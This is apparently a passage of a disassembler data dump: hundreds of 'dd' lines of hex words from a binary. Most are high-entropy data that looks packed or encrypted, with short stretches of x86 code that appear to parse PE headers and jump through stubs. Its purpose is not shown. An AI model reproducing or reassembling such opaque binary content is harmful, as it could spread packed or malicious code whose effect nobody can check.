		dd 0E17A8400h, 31482FEh, 41F0000h, 1F2C4F0Ch, 7EC76B49h
		dd 0C76960B6h, 69ECCD7Eh, 0B2707EC7h, 8A17FA61h, 7EC76AB4h
		dd 0C76A4B21h, 69E2B87Eh, 0C55C3EC7h, 0A76D71A0h, 1BCA91B4h
		dd 76FF866Ch, 7BB8BD62h, 0C151538h, 0F178F0D6h,	0B8BD740Fh
		dd 0F06E5194h, 0B67DAA69h, 6DA4E7B2h, 0D7AF4249h, 0B75955B6h
		dd 0A1000002h, 3907E576h, 0D4A280DBh, 73411F3Ch, 10DEBC9Fh
		dd 0DD785605h, 8ECD488Fh, 2734E2B0h, 0C3987B49h, 61FA17E5h
		dd 46CDB183h, 84D1B464h, 4A700FE9h, 6B694BD2h, 0ABEE7EC7h
		dd 4E0D04C8h, 77682D2Bh, 14BAEA5Eh, 0D54CCCAFh,	3FA0270Dh
		dd 0C378BD40h, 284B1005h, 0BE017E61h, 0EF9358E0h, 0F364C885h
		dd 769A5E41h, 77F07E5h,	0BE5E9E80h, 0ADE02378h,	63920451h
		dd 1FE3C65Eh, 49476AF1h, 9716FA84h, 0FCDF749Ah,	55C0E57Ch
		dd 0EA715706h, 72B326C1h, 5DE5C306h, 0BCE8739Fh, 97240754h
		dd 72B397C1h, 1A00263Bh, 0A8DF3693h, 8A70B36Ch,	0F22D4D12h
		dd 0F3EC9EFEh, 96C54C10h, 0B5CEEBB0h, 0B3534E97h, 858C5AD0h
		dd 9F90DA9Fh, 303E271h,	0A90C2C0Eh, 0BF6EB16Ch,	0CE98F9Ch
		dd 3E236CA9h, 0F47BA96Bh, 6CA90C12h, 0F6A55497h, 54508910h
		dd 0D694669Eh, 0BD3A1D3Eh, 951C947Ah, 669EC5B3h, 9412F538h
		dd 3B1DA41Ch, 0C0669EC5h, 0C4DDBF46h, 1F62669Eh, 48C98D70h
		dd 35AD3513h, 0CCC19A77h, 669EC4EAh, 85492C6Fh,	9FACCF8Ch
		dd 669EC5F9h, 967B2E33h, 2CDBA2C5h, 0C96BF46h, 98DB6094h
		dd 997C3AB2h, 0F5D89FC2h, 957BE031h, 0F62239D7h, 551C3F1Ch
		dd 0E32EFC72h, 0CC555578h, 74A93016h, 0B15A89C4h, 12C3886Eh
		dd 0EF6EF35Eh, 0EFEDA88Bh, 987BE031h, 89A9350Bh, 0B6A56B5Ah
		dd 95C64F93h, 91E67872h, 7B40EEC2h, 0C673C1C4h,	1ECA02h
		dd 4AF10000h, 0F1D35AD2h, 767EC76Ah, 6B5C3E33h,	9EE17EC7h
		dd 86582EBBh, 17D67EC6h, 73000000h, 0C681653Bh,	0E51CE17Eh
		dd 107EC432h, 556EC1Fh,	0D33B9613h, 0D1488BF0h,	0B9B4D885h
		dd 0F4A3E2C2h, 0CB38490Eh, 143724F0h, 0EEA21A4Dh, 203BDB07h
		dd 0D738BF3Dh, 5B78BD39h, 0FFE2799Dh, 1C1C3F82h, 70F7DD05h
		dd 72B5D74Dh, 7052D951h, 0F572B680h, 0F52CFB2h,	0AF2F28D8h
		dd 0BAB61717h, 0AAh, 14F269AEh,	0AF8DCE46h, 4E2C2FE1h
		dd 0EBC99280h, 8563F81Dh, 0C05582EAh, 27EFBD9Bh, 8B885634h
		dd 0ED24F2D0h, 0DABE906Eh, 0D1B67153h, 7D1CF684h, 888CD148h
		dd 3AE9B0D3h, 0B26CCD54h, 0AEF178BCh, 50968B8Bh, 4314E36Ah
		dd 4E9172B5h, 0AFABF317h, 0EFEB4C17h, 52h, 6C4A1106h, 7E5769Eh
		dd 0A684D739h, 43213AD8h, 0DDBBA075h, 68AD2A42h, 0CF4715F3h
		dd 33E0AE8Ch, 957C4A28h, 3216E8C6h, 0D1B6C9ABh,	0D5744E84h
		dd 1D4Ch, 854AE900h, 9B5814BBh,	5F07EA4Ch, 5A3CC33Bh, 0DF7EC7D7h
		dd 914FB018h, 25D43E93h, 1304DD42h, 30E12548h, 4FC4082Bh
		dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah
		dd 0D074B6Eh, 562A2B4Eh, 0C681E689h, 4,	3304EE83h, 34312434h
		dd 24343324h, 322F685Ch, 4890000h, 4EC8124h, 89000000h
		dd 0BF57240Ch, 60A47D5h, 89FA8952h, 545F5AD0h, 83240C8Bh
		dd 815004C4h, 460F242Ch, 418F6965h, 8418108h, 6965460Fh
		dd 52240C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	48B5C24h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2E78E95Ch
		dd 90E6FFFDh, 4C79B871h, 0C503060Ah, 51E9C88Bh,	60000000h
		dd 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h,	66000000h
		dd 0F064E8Bh, 0F983C9B7h, 16840F00h, 3B000000h,	8F0F0C7Ah
		dd 15h,	8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h, 8C2611Ch
		dd 28C28300h, 0CF850F49h, 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh
		dd 0EE800h, 0A410000h, 4894CD95h, 935E0FC2h, 13BBFF21h
		dd 7E9h, 2FDED500h, 0C21F4CAEh,	0FBBF0F5Ah, 74CEC281h
		dd 0BF0F0000h, 1D0EB8FEh, 328B0000h, 53A0E781h,	0F68159C9h
		dd 17A76071h, 11E9h, 6B9F1400h,	0A834A2F0h, 44C58649h
		dd 956F7C83h, 0C68151D0h, 6D82E905h, 0F681DE8Bh, 3B7DD3FBh
		dd 2A2CD981h, 0E956264Dh, 0Dh, 0D0826083h, 0D3D39824h
		dd 49178EFCh, 8A028F5Bh, 2BEA81EFh, 8A28D96Dh, 27C281D8h
		dd 0BF28D96Dh, 16D6602Ah, 0F01E883h, 0FFFF9585h, 0CE8B66FFh
		dd 167E9h, 20B9CE00h, 95ECE77Fh, 715893DAh, 0B6CFDF06h
		dd 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h,	0FC94A4D6h
		dd 0AEC44100h, 77CB50C1h, 0ACAC3252h, 46BF009Ch, 90ADFC6Ch
		dd 0A3365973h, 72E275D6h, 90BD9Ch, 8CE693DDh, 0A592A79Bh
		dd 0A7ABDD64h, 918F9792h, 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh
		dd 0E592B69Fh, 0BDF694B6h, 0B3EBB59Eh, 93D0EC96h, 97BF999Ch
		dd 0F55CFD7Bh, 0AFF49389h, 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h
		dd 622D4457h, 0AE29B0F3h, 38h, 3Ch, 40h, 2 dup(0)
		dd 4, 94h, 5, 1, 0A28h,	2, 2Bh dup(0)
		dd 1F6FE9h, 518B6800h, 0F7E9060Ah, 68FFFD2Bh, 60A5297h
		dd 0FD2BEDE9h, 535E68FFh, 0E3E9060Ah, 68FFFD2Bh, 60A5446h
		dd 0FD2BD9E9h, 551168FFh, 0CFE9060Ah, 68FFFD2Bh, 60A5622h
		dd 0FD2BC5E9h, 56EE68FFh, 0BBE9060Ah, 68FFFD2Bh, 60A57A8h
		dd 0FD2BB1E9h, 5B5A68FFh, 0A7E9060Ah, 68FFFD2Bh, 60A5BCBh
		dd 0FD2B9DE9h, 5CEC68FFh, 93E9060Ah, 68FFFD2Bh,	60A5F8Dh
		dd 0FD2B89E9h, 62EF68FFh, 7FE9060Ah, 68FFFD2Bh,	60A6691h
		dd 0FD2B75E9h, 67E468FFh, 6BE9060Ah, 68FFFD2Bh,	60A685Ch
		dd 0FD2B61E9h, 68B768FFh, 57E9060Ah, 68FFFD2Bh,	60A692Ah
		dd 0FD2B4DE9h, 6AEF68FFh, 43E9060Ah, 68FFFD2Bh,	60A6BDFh
		dd 0FD2B39E9h, 6D6E68FFh, 2FE9060Ah, 41FFFD2Bh,	0D9A785D6h
		dd 7442203Bh, 13E1BF9Ch, 0B07E5CFFh, 7D18F665h,	2E2DE8EFh
		dd 0C7948250h, 63F81BE9h, 15AB785h, 0E66D5123h,	84D1BB04h
		dd 410AF89h, 0E72B4E0Dh, 0FF5CB42Ah, 886615DCh,	0DDC31BFEh
		dd 6CD1A065h, 1789DAB0h, 1D50DEEBh, 0C8AB3B5Ah,	0C147683Bh
		dd 87AAED78h, 0C127A47Ah, 3F843278h, 482AB129h,	0CD78C127h
		dd 3B1DA48Ah, 0C078C127h, 8AFB9A7Dh, 1E48EF9h, 42h, 9BC0510Fh
		dd 0D14853B8h, 0C59C2309h, 4178BF9Bh, 3B6042C9h, 0A2E578C0h
		dd 19FF42BFh, 3F20B75Bh, 54ED12A2h, 0AF769948h,	2E0411CCh
		dd 0BC78C060h, 0F392A90Eh, 98E48FBCh, 0DCh, 3229E8A6h
		dd 0D04EA4Fh, 0B49A6DCAh, 0F09FD9DEh, 0C438450Ah, 87803ED9h
		dd 7EA1BA5Bh, 0D519D4B7h, 0B4F81B40h, 0CC8F815Dh, 4224ABA9h
		dd 0C77EC78Ch, 326D584h, 858C52BFh, 3DECB3D6h, 8E27C85Fh
		dd 2CE57EC7h, 8E83512Fh, 0E86FE7CDh, 7EC78706h,	0AA65488Bh
		dd 896FB7AAh, 0C08D0F02h, 0B391D478h, 63EEB32Bh, 0AF7A028Eh
		dd 6AC8AA9Fh, 0A4D78C0h, 6CB2A727h, 15C2FF86h, 3FFF72B6h
		dd 9D6487D4h, 0CB4A08EEh, 31E4B290h, 0F877F32Ah, 278817AEh
		dd 1C8F2Bh, 0D3888F00h,	6EED27F5h, 0D4EC290h, 0AAB1612Fh
		dd 4417FECCh, 36A1CB66h, 0D09E7CDFh, 69371546h,	5D3B1AAh
		dd 9F714F0Ch, 0BC5234BBh, 0FDD784D1h, 4A11045Eh, 6B739E6Ch
		dd 0CA91B4A7h, 0F0B53D1Bh, 4E7D03E4h, 57BC9F0Bh, 694BD24Ah
		dd 0EE7EC76Bh, 0D148C8ABh, 0C59C2309h, 4278BF9Bh, 0F9CFDCFFh
		dd 8778C03Ah, 285DE2D9h, 63E48FE1h, 0D6h, 4E0D048Ah, 0B86CAA68h
		dd 0C76B4F31h, 0E291D47Eh, 150044FFh, 73A26046h, 6B5A66Bh
		dd 0BA5B6823h, 787EC76Dh, 22048B99h, 0A77EC767h, 4FD7B564h
		dd 0B5D88391h, 0CA470BEEh, 0CAE6AB91h, 0D0CA2BCBh, 101BC9Fh
		dd 55DCC218h, 78BFC162h, 33AB6826h, 0E9CC7BE0h,	8543296Ch
		dd 97C44E90h, 1BFEAD74h, 0B55F1DA5h, 0C574E729h, 0AAFF62E2h
		dd 5C42F16Ah, 0B556A1D5h, 0EF27E572h, 0C90C896Ch, 6BF025E3h
		dd 0C34F0D85h, 7C1A398h, 34672B6h, 39DCAA20h, 0AF89EB22h
		dd 157617AFh, 1B8319h, 0DF7C9B00h, 7AE13301h, 1942CE9Ch
		dd 0B6A56D3Bh, 500B0AD8h, 4295D772h, 0DCAA88D3h, 7543213Ah
		dd 11DFBD9Eh, 0AB7D5B00h, 0BD5E40C7h, 9E384D1h,	4A11046Ah
		dd 0E8739E6Ch, 0D049B0Ah, 2AE72B4Eh, 4B864B31h,	80632A3Ch
		dd 0CEAD2306h, 845ABF06h, 0AA68269Eh, 5E41CEB1h, 0E278BFB7h
		dd 5F01E36Ah, 438678C0h, 0B0A0E360h, 31D0633Dh,	0A67CE51Ch
		dd 0BAE39C0h, 3AB2B62Ah, 2AD4D1B3h, 0E71356B6h,	470E312Ah
		dd 0EE27E764h, 0A1E2C0E9h, 66150CB0h, 0AACD7C43h, 0CBAD34ACh
		dd 50B62AFEh, 0B7AA2A0Dh, 4002896Fh, 85B0233Ch,	240A51C5h
		dd 23C4BB9Dh, 4EFD40B0h, 0F467AA68h, 92C94816h,	41F3235Bh
		dd 7F7BDCDAh, 1ABCh, 0C8A6B562h, 63411AFAh, 2E07B95h, 9F7DDE34h
		dd 391744D1h, 0C09CE9Eh, 73A3714Fh, 0D73C0AE8h,	39D8A684h
		dd 8E724422h, 0D1BE2507h, 31D0AA84h, 2B4E0D04h,	0AF0362Bh
		dd 0AF95C64Ch, 0C76B4628h, 0A588CB7Eh, 1FF1AF27h, 5B0A51BFh
		dd 0CD457138h, 0C1A46B8Eh, 0C0747534h, 916FB278h, 0DCA126B2h
		dd 1385BEA4h, 0D4B63D77h, 5978C039h, 0FA816716h, 78C03A18h
		dd 0F7775A9Dh, 4FD6BC62h, 72B8666Ch, 4BBEAEF1h,	2B076EEEh
		dd 896BF26Ah, 0EAB07B0h, 0E796C54Eh, 459D8404h,	0CB4DD85Fh
		dd 8C51A4FFh, 0D1220447h, 0D45134B2h, 0EB6E6E91h, 0D8FB60B6h
		dd 47C6211h, 698CCF46h,	7032BFA2h, 0B59EF8B7h, 43CE8C72h
		dd 3D6D3218h, 5F7AAEC7h, 96B9A272h, 22F420CFh, 6C4F1639h
		dd 72E928F6h, 6C898D3Bh, 5551B2EBh, 19D4h, 0B08ECD4Ah
		dd 4B2932E2h, 0EAC8937Dh, 8765F61Ch, 21FF5CB9h,	24F1E686h
		dd 8B8B5937h, 0EF24F2D0h, 51C08E6Ch, 765A2C0Ah,	0D1BF0DEFh
		dd 19B89284h, 2B4E0D04h, 0AF0362Bh, 0B2CECD92h,	2E54D91Bh
		dd 4217BE4Bh, 955378C1h, 0A8B3617Dh, 569916F9h,	79729978h
		dd 9FF197B4h, 0C09D3618h, 4578BB78h, 9A7DAC18h,	0F9DF071Ah
		dd 0C4FC381h, 0B5686CD9h, 72559710h, 0B8C002E5h, 5E448772h
		dd 0A56E70A0h, 1DCC93B6h, 0D73FB23Ah, 91F6101Eh, 0F46C5288h
		dd 0F01DD36h, 2DBA9D4Ch, 0D008CBA2h, 2F2CE8A6h,	698CCF4Ch
		dd 442AF069h, 1D1FBBDh,	17FD40CAh, 0E56CB859h, 0CA025903h
		dd 0B8964588h, 0FD3427EAh, 0C0635DD5h, 90D096Ah, 15000019h
		dd 0AD7B5902h, 4816F467h, 0E7B593C8h, 8452302Bh, 51ECCA91h
		dd 259BC1Bh, 9BC05624h,	3724EFBDh, 0D5868B59h, 0BA4125F7h
		dd 84D1BFD8h, 4E4835Dh,	0AE90170Dh, 337EC76Bh, 952C4F0h
		dd 8A701FE6h, 6BA98B12h, 6E2E7EC7h, 2609B8A3h, 0C2A86D6Bh
		dd 54781F89h, 0F76AEACDh, 0D88F71F8h, 54147EC7h, 41F09FBCh
		dd 0F9F5D45Bh, 0B27278BFh, 93D7FA61h, 7B2AD982h, 0A049BE9Dh
		dd 879CDDB9h, 9E0C496Dh, 0D39109EFh, 7A5CE341h,	0FF78C110h
		dd 9D2A0DBCh, 72B93CBAh, 990CFC3Fh, 55769799h, 3218CE53h
		dd 0D9BB42BAh, 5E75772Fh, 20AB381Bh, 256F6F4Bh,	8CAFAC65h
		dd 0F3F316C5h, 0DD2B86Eh, 77265E45h, 0C82B56F7h, 8DAB5B8Eh
		dd 1A41D400h, 8341B937h, 5AE7CA91h, 6967CD98h, 67F41DDDh
		dd 0D35AD2B8h, 696854F1h, 0BD9FAF76h, 0BD8FF850h, 0EFAD2B0Eh
		dd 0D35B3922h, 0D7D9FE15h, 0DF322CBCh, 9A618433h, 3D1EF3B7h
		dd 0FD60D606h, 0C086920h, 17F8h, 8C6AF126h, 270556BEh
		dd 0C6A4B759h, 63411AF8h, 0FDDB8095h, 48CD0A62h, 0AF673513h
		dd 1300CEACh, 759C6A48h, 523608E6h, 0D1C0E9CBh,	0F5946E84h
		dd 684E0D04h, 10F368AAh, 16CC5555h, 8836A930h, 0B8FB78BFh
		dd 0D9FE14D2h, 0A54E7DF5h, 365908FFh, 8CCF436Fh, 845433A9h
		dd 1C02D841h, 0B7F0B295h, 0EF43772h, 982D0F96h,	6FB272B8h
		dd 7A91048Ch, 74FEEF90h, 914F35EDh, 75F3D685h, 0E7BC63EEh
		dd 22568D8h, 0E1C71F02h, 0B6B9EB1Ch, 9E81DBFCh,	0A2D79920h
		dd 0D91CD2E1h, 7FDC35F3h, 34B2955Ch, 0E1ECF7BCh, 0D22AA48Dh
		dd 0E1E5694Bh, 0FCABEED2h, 0E5AD8F16h, 0EF32D2E1h, 92C9480Ch
		dd 302BE6B4h, 83D1ADF9h, 0F5F152B7h, 172Ch, 583625F2h
		dd 0F3D18A8Ah, 9270EB25h, 2F0D4EC4h, 0C9A7B461h, 7C993E2Eh
		dd 0E33301DFh, 47CC9A78h, 0A9683614h, 1E02D4B2h, 0D1C1B597h
		dd 0C1603A84h, 2B4E0D04h, 0AF0362Bh, 0BCBC3F83h, 5B418478h
		dd 9E7749Dh, 0BD1C4072h, 0C29E8278h, 0D25FB186h, 1984B7B4h
		dd 6A7DF8E4h, 73FBD988h, 2304C2AEh, 1BA2597Ch, 78BCB539h
		dd 0E6CC7BBEh, 0BCB57D5Fh, 0DCBF0278h, 8462F918h
		dd 0D24267FAh, 0EF226689h, 0D382496Ch, 1C63E24h, 703FB8A2h
		dd 2AE91550h, 7DC14E31h, 0C272B2ABh, 39DB997Fh,	0F7BC4422h
		dd 7B3DC7BCh, 65290CA0h, 4589ACAFh, 58588FCCh, 0A717B34Ch
		dd 16724A46h, 6BAC0000h, 0D04412F0h, 31DFAD8Bh,	947E4C2Ah
		dd 0FA1BE9C7h, 84E88361h, 0BB99C253h, 543229EDh, 0F0CE8D86h
		dd 8E6CEF22h, 6F51D8BCh, 0F484D1C2h, 0D1487B1Ah, 589C2309h
		dd 9C78BCBCh, 22536DEh,	98DB583Bh, 71DF4B2h, 8B7E942h
		dd 352A21FBh, 78BCED53h, 8E695D8h, 5C429A7Eh, 0BCED2FD5h
		dd 6296C78h, 0BCED22F9h, 0BD02B078h, 6223E2A7h,	943DFD02h
		dd 6DA0555Dh, 0D1FDEFE8h, 97361942h, 0E4937CEEh, 696EA260h
		dd 0F58515DCh, 886B1A68h, 5347h, 0D0486E00h, 0C19F260Ch
		dd 3E7EC76Bh, 0F5CBD8FBh, 2B7EC76Ah, 0C5073E8h,	0D1305308h
		dd 11E5B209h, 4A081C63h, 0A02C11C6h, 25F9C005h,	8D085376h
		dd 4F81541Ah, 0B35235E4h, 0DE884ED2h, 13B9h, 643BE000h
		dd 0DE7EC76Bh, 36BDA37Bh, 78BFA04Fh, 7CEBC90Ch,	2309D148h
		dd 87AAB165h, 0D85FDDC0h, 78BF99D9h, 0EC305396h, 8A583625h
		dd 76EED487h, 0C03A0DEFh, 6C4F9278h, 1BF5B3B1h,	3AA08209h
		dd 0E22578C0h, 66491033h, 0AA6B73A2h, 80DF02B1h, 0FA17C3B8h
		dd 95B67B61h, 31F15499h, 8D5BD1B4h, 33F1D784h, 0DE997CDFh
		dd 0BDA37BDEh, 0B81A4B36h, 0EFCD1072h, 23EEF021h, 56050C38h
		dd 0C88684A7h, 9E2B0E4Dh, 0DA8183DDh, 5783F8C0h, 0F5C3A1BAh
		dd 0D81C3F1Ch, 0BAFE213Ah, 9BDF0259h, 5FBEE17Ah, 56EF2097h
		dd 6D821780h, 0D64438E7h, 5FB67BE1h, 19199EF2h,	4CC5896Ch
		dd 0AE63310Fh, 978A8AADh, 79F1694Fh, 821210F2h,	6F5295FAh
		dd 7A2CF7E2h, 19FDBBF4h, 0F5A2840Bh, 0E427F47Ah, 0ED55235h
		dd 0C36E3ABFh, 9177267Ah, 85B09219h, 0F235F47Ah, 0EB0E4DC6h
		dd 0FDCB4124h, 0E0244714h, 0EF6CA836h, 705605CCh, 0D7FA61B2h
		dd 13722D10h, 67AA744Bh, 0C94816F4h, 0EA6F6F92h, 11D64E34h
		dd 0DC9EC1C5h, 0C14E3192h, 0EE72967Eh, 0D4A280C3h, 0EEFB1E3Dh
		dd 0FE735718h, 7396C54Eh, 5679E22Fh, 0B8E7DC4Ah, 4FC785A7h
		dd 2299290Ch, 5D3FC63Eh, 94DE7357h, 0D6AD8FCCh,	6FB2979Bh
		dd 1249C88Ch, 0AEAD6634h, 50158D8Bh, 0D7A4804Dh, 5F413607h
		dd 0E4DE7304h, 5234BBA1h, 0D7DE7304h, 28EDB194h, 0DCFF5CB6h
		dd 33E27998h, 9AA26184h, 411AF925h, 0DD7E9563h,	6D839F7h
		dd 0BEA1500Bh, 0CA470503h, 71236E91h, 7A5B52C0h, 0C88C6F1Eh
		dd 8FEE114Ah, 34EF14D9h, 163B53CAh, 0E312AEAh, 0EFD46447h
		dd 957BE033h, 32B4961Dh, 0F639DE73h, 44CF9D13h,	6DF4F417h
		dd 4948CFB5h, 6D86B61h,	6D90CB46h, 0C8D4F7A6h, 5AB9655Ah
		dd 0BC552301h, 0FFE168h, 0C484D86Ch, 0AF5E0D4Eh, 92C9488Ch
		dd 0D3A8B06Fh, 73510A07h, 0E41BBBCAh, 36D084h, 4AF70000h
		dd 5EBFBD85h, 0FAF24C13h, 0C6AC7BF7h, 63270AB9h, 8888ABB0h
		dd 0EB634991h, 0C7C98264h, 0CF47077Eh, 0F3A2698Ch, 0F80B9210h
		dd 0FD78BFFDh, 3156DCBAh, 0F3000000h, 0FF14D24Ah, 6B85675Ch
		dd 0C70A7EC7h, 68F320E4h, 0E8824745h, 94908959h, 0EF72F2D5h
		dd 7BCA5137h, 0F878BFA8h, 440ACFB5h, 0D6811D43h, 1E8D03E6h
		dd 79E0E5F3h, 0BB6AF124h, 12985DD5h, 3B12EF15h,	41B32457h
		dd 3461F18Eh, 95E1C451h, 236678C0h, 56DEC033h, 0F960640Dh
		dd 763B21h, 40A0E141h, 1DA42205h, 7E066792h, 1F3CD896h
		dd 0D55235FCh, 0EA6F6F92h, 5C74E34h, 4A77FF6Eh,	0AE632107h
		dd 1001CFADh, 0CFA54F14h, 4F642A86h, 0FF6F785Ah, 0BBAFD77h
		dd 6647E6D4h, 0BCB81912h, 12C0h, 0C4A2B95Eh, 5F3D1EF6h
		dd 0FEDC7F91h, 9B79E230h, 351348CDh, 1005D29Ah,	779F6D4Bh
		dd 0DB3806E4h, 3DD4A280h, 8A6E401Eh, 0D1C62103h, 2DCCA684h
		dd 4F888C4Ah, 8CC69965h, 5F42F130h, 0C7DAF0D2h,	37EF727Eh
		dd 0EB87CA51h, 89CC78C0h, 2D2EE5A3h, 9292814Fh,	0C0CC290Bh
		dd 26EEAE78h, 9C4B1235h, 8B86CAEDh, 0EB6B99D0h,	73D411A4h
		dd 124F77h, 1348CF00h, 0AEAD6735h, 4D0E02D0h, 0EA71A16Fh
		dd 84D73E0Ch, 76610BA6h, 10DEBC9Fh, 0A9775506h,	4513F16Ah
		dd 0DFB18FCCh, 0C69274FBh, 3D1784D1h, 9D1489Eh,	7C599C23h
		dd 5B9E78C0h, 0FD5EB775h, 0D4E013DAh, 9F182DCDh, 2EEC6A4Dh
		dd 0D18F75E6h, 0EA719F3Fh, 14E2583Bh, 0F4385B00h, 0F1B3E1Dh
		dd 1400DAA1h, 838A6947h, 3121F962h, 0ABCE8D87h,	0BF94C79Eh
		dd 4516FD78h, 2932DE22h, 0D2A9DD06h, 6B506485h,	9A7965AFh
		dd 7254DBC1h, 0F778BF94h, 592705B4h, 7F7DA0BBh,	280B50C1h
		dd 8369B1A8h, 0EBD1460Bh, 0BA55BB30h, 10E64AD7h, 286B72B5h
		dd 0CE8D8442h, 62AF6DEBh, 0BC5513F9h, 0CFB57C9Fh, 0B5726648h
		dd 0C5A8EB72h, 9490814Fh, 0B5722B0Dh, 876DB072h, 0B5721E00h
		dd 0B160A372h, 538B8E8Eh, 0BC05E66Dh, 478A6CAAh, 0ED6EA361h
		dd 19474207h, 9922349Eh, 9F7240B6h, 0FE18D6BCh,	7AE1315Dh
		dd 0F2AD9057h, 24336FF2h, 3E48BD25h, 1886E1Dh, 66A2EACEh
		dd 7599D013h, 0CA23C1FCh, 112E6D69h, 27F00000h,	8C885634h
		dd 0ED23F1CFh, 50C2906Eh, 0B65F2D0Bh, 402CC7A5h, 0FFDD7E97h
		dd 9876E531h, 341249CAh, 0D2B0AB66h, 0B3951C00h, 3884D1C7h
		dd 903BBF5Eh, 8E7EC76Bh, 32F0D685h, 8F5679E2h, 0B5AC36ACh
		dd 880F876Dh, 7EC76BA6h, 0B6A56B2Bh, 3A1DCC93h,	0B58C35BCh
		dd 8ED178BCh, 3526EAA8h, 61F8A4Fh, 0D97138C6h, 0A24AA8F9h
		dd 755807BBh, 5C2990FFh, 2FDF08BDh, 14Dh, 0C5967F3Dh, 0D24A7DE2h
		dd 0C76B694Bh, 0C8ABEE7Eh, 7E86D648h, 97E41F8Bh, 4ACD9A49h
		dd 0C76AECC3h, 66335C7Eh, 5F38EB4Ah, 868C4AFAh,	0ED72F2D5h
		dd 0DF566835h, 420FD748h, 0D6858C4Ah, 0B9A26FB3h, 549F270Ah
		dd 88BD6C29h, 0E36AE2DBh, 7BC76B01h, 1F604386h,	33h, 0D4D34846h
		dd 0C76B6B4Dh, 0FEADF07Eh, 14D24A31h, 0F5395CFFh, 0A98C3B20h
		dd 0C76B451Ch, 0B27FC27Eh, 0C04EB4Ah, 0A17B824Fh, 452833E3h
		dd 394CE0h, 48E90000h, 67250BD3h, 0C58CAFACh, 6B7658DFh
		dd 0B8FB7EC7h, 0C34A70D5h, 7EC76AECh, 0F269AA68h, 0D08B8BCFh
		dd 8BB43E21h, 4EB4ABEh,	4A824F0Ch, 0BF55898Ch, 3CAED9Ch
		dd 4A12D320h, 0B0D3888Ch, 9A7C03E9h, 1F7EC76Bh,	3B5AF9DCh
		dd 50DB88BDh, 45h, 0FD74877h, 14D24A42h, 0ED7A5DFEh, 7EC76B16h
		dd 4A835093h, 6B694BD2h, 6AA77EC7h, 0E6C90CF1h,	10040968h
		dd 7AA0654Bh, 71BD57F1h, 1E95CB7Eh, 0C22F21EBh,	22706991h
		dd 0B1944373h, 4CBA7B4Ch, 27h, 0FD748E9h, 0DD24A42h, 73646187h
		dd 0E56C52ADh, 7EC85E03h, 0D5624588h, 7EC85DFEh, 4A78456Eh
		dd 4B1004EBh, 4CBA7B7Eh, 0FFFFFEAAh, 0E5854AE9h, 55818667h
		dd 8EB1AA67h, 0B53518C7h, 99076ACh, 78BD28C5h, 23E1C70Ah
		dd 58F6DEEh, 69E1C71Dh,	847166ABh, 43015D8Eh, 47D4B766h
		dd 78BDCC65h, 7784A7EAh, 78BDCC93h, 43CF8D29h, 0DEA53518h
		dd 92545C29h, 2D2FE4h, 3B560000h, 7EC76B65h, 7E5769Bh
		dd 0C76B9970h, 0D80E137Eh, 88706BF2h, 763478BFh, 221A3A9Dh
		dd 0F0F3FBEBh, 9EE15E41h, 913AC0h, 48D70000h, 0AB2309D1h
		dd 6ACAAC33h, 0C4F7EC7h, 99919C29h, 539678BFh, 0F764AF6Dh
		dd 93C84B19h, 31E97070h, 8A98C44Bh, 9ADD72B5h, 3E1DF6B4h
		dd 0DA819260h, 7CA2B7B7h, 0A03ED896h
		dd 0FBC2E576h, 3662294Ch, 209E81DAh, 0AB34D099h, 2C12556Ch
		dd 0DAB8A36Eh, 1F56050Ch, 1DBA11F9h, 8DE9E546h,	9100000Eh
		dd 29F7D586h, 0C49270EBh, 63310F4Ch, 0CEACAFh, 0CD684615h
		dd 7EDD389Fh, 1744D2A0h, 0B3A86B39h, 510A07D5h,	36BDA173h
		dd 84D1CA54h, 460FFD9h,	0AA684E0Dh, 9D0F368h, 0EA276B26h
		dd 6AD1B33Ah, 60F7EC7h,	7E2D7055h, 5FFC175Bh, 411AF83Ch
		dd 2D92241Eh, 0F8BFC76Eh, 8268F31Eh, 290C4FC4h,	0A86D2BB3h
		dd 0B9290B3h, 7EC76B29h, 0D9BC6BAEh, 88B54B3Ah,	3B40DEh
		dd 4A670000h, 0B1D4878Ch, 9B7D04EAh, 207EC76Bh,	0E77AFADDh
		dd 47D2593Fh, 4C78BF86h, 6FA2E609h, 0D1400EECh,	0F267678Ah
		dd 0C4F764AFh, 0AC4F6CB2h, 6C520122h, 0B856DAE5h, 0BE9CDF72h
		dd 4B10044Fh, 0E66DE56Dh, 7EC76B04h, 6134689h, 1040DF5Bh
		dd 967E4225h, 0E067DFC5h, 7EC7FAFEh, 0A25D4083h, 302BE6A4h
		dd 0FB17C04Dh, 0FE157EC7h, 6CF57F5Dh, 0F40BD0B6h, 0D806ADDAh
		dd 83D83B67h, 0ED9B22A0h, 2A78BCFDh, 0CD4301E7h, 2941B08Eh
		dd 0DF08BD5Ch, 1632Fh, 0D24A5600h, 0C76B694Bh, 0EE6DA77Eh
		dd 63E3C609h, 0C94127F9h, 0C76B6042h, 0E46BE57Eh, 7EC76B02h
		dd 0B2954487h, 0ECC34A4Dh, 5C7EC76Ah, 0DA884D33h, 0B27F8741h
		dd 4A5CC1A4h, 0E15F38EBh, 476AF123h, 9D4C0F03h,	0D34855BAh
		dd 854A3E0Bh, 0FEDF2202h, 7EF0D3AFh, 8A8C4A07h,	6B31139Ah
		dd 73B67EC7h, 0F7DAA1C4h, 713EE477h, 6C29F540h,	1FDB88BDh
		dd 1Fh,	8ED34846h, 5D2AD982h, 6AECC34Ah, 26697EC7h, 4EB4A59h
		dd 7B824F0Ch, 374CBAh, 48E90000h, 67250BD3h, 68CDB0ABh
		dd 694BD24Ah, 0EE7EC76Bh, 0C34AC8ABh, 7EC76AECh, 0B96BAA68h
		dd 0C76B5032h, 0E392D57Eh, 0DD005BB7h, 80A93316h, 4EB4AB3h
		dd 7B824F0Ch, 888C4ABAh, 0BDE9B0D3h, 86250853h,	0DB88BE0Fh
		dd 4B7Ch, 0D748A300h, 8C4A420Fh, 0E9B0D388h, 2A018806h
		dd 0A77EC76Bh, 0C0B97E64h, 0F8D021A4h, 4AED5235h, 6B694BD2h
		dd 0ABEE7EC7h, 4EB4AC8h, 0A7654B10h, 7CEF16Ah, 0A17BBF24h
